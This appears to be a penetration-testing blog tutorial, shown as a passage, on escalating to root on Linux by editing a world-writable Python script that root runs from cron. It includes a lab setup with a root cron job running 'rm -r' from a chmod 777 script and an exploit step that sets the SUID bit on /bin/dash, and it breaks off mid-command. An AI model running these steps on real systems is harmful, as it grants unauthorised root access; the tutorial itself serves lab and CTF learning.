Hacking Articles|Raj Chandel's Blog: Linux Privilege Escalation by Exploiting Cron jobs

After solving several OSCP Challenges we decided to write the article on the various method used for Linux privilege escalation, that could be helpful for our readers in their penetration testing project. In this article, we will learn “Privilege Escalation by exploiting Cron Jobs” to gain root access of a remote host machine and also examine how a bad implement cron job can lead to Privilege escalation. If you have solved CTF challenges for Post exploit then by reading this article you will realize the several loopholes that lead to privileges escalation.

For details, you can read our previous article where we had applied this trick for privilege escalation. Open the links given below:

Link1: Hack the Box Challenge: Europa Walkthrough

Link2: Hack the Milnet VM (CTF Challenge)

Table of content

· Introduction

· Cron job

· Crontab syntax

· Crontab File overwrite

· Lab Setup (Ubuntu)

· Exploiting cron job (Kali Linux)

· Crontab Tar wildcard Injection

· Lab Setup (Ubuntu)

· Exploiting cron job (Kali Linux)

Let’s Start!!!

What is cron job?

Cron Jobs are used for scheduling tasks by executing commands at specific dates and times on the server. They're most commonly used for sysadmin jobs such as backups or cleaning /tmp/ directories and so on. The word Cron comes from crontab and it is present inside /etc directory.

For example: Inside crontab we can add following entry to print apache error logs automatically in every 1 hour.

1 0 * * * printf "" > /var/log/apache/error_log

Crontab File overwrite

Lab Setup for Poorly configured cron job

Objective: Set a new job with help of crontab to run a python script which will erase all data from in a particular directory.

Let assume “cleanup” is the directory whose data will be cleared automatically in every two minutes. Thus we have saved some data inside /home/cleanup.

mkdir cleanup

cd cleanup

echo “hello freinds” > 1.txt

echo “ALL files will be deleted in 2 mints” > 2.txt

echo “” > 1.php

echo “” > 2.php

As you can observe from given image some files are stored inside cleanup directory.

Now write a python program in any other directory to delete data from inside /home/cleanup and give it all permission.

cd /tmp

nano cleanup.py

#!/usr/bin/env python

import os

import sys

try:

os.system('rm -r /home/cleanup/* ')

except:

sys.exit()

chmod 777 cleanup.py

At last schedule a task with help of crontab to run cleanup.py for every 2 minutes.

nano /etc/crontab

*/2 * * * * root /tmp /cleanup.py

Now let’s verify the objectives

cd /home/cleanup

date

Coool!! It is working, as you can see all file has been deleted after two minutes.

Post Exploitation

Start your attacking machine and first compromise the target system and then move to privilege escalation stage. Suppose I successfully login into victim’s machine through ssh and access non-root user terminal. Execute the following command as shown below.

cat /etc/crontab

ls -al /tmp/cleanup.py

cat /tmp/cleanup.py

From above steps, we notice the crontab is running python script in every two minutes now let’s exploit.

There so many methods to gain root access as in this method we enabled SUID bits /bin/dash. It is quite simple, first, open the file through some editor, for example, nanocleanup.py and replace “rm -r /tmp/*” from the following line as given below

os.system(‘chmod u+s /bin/dash)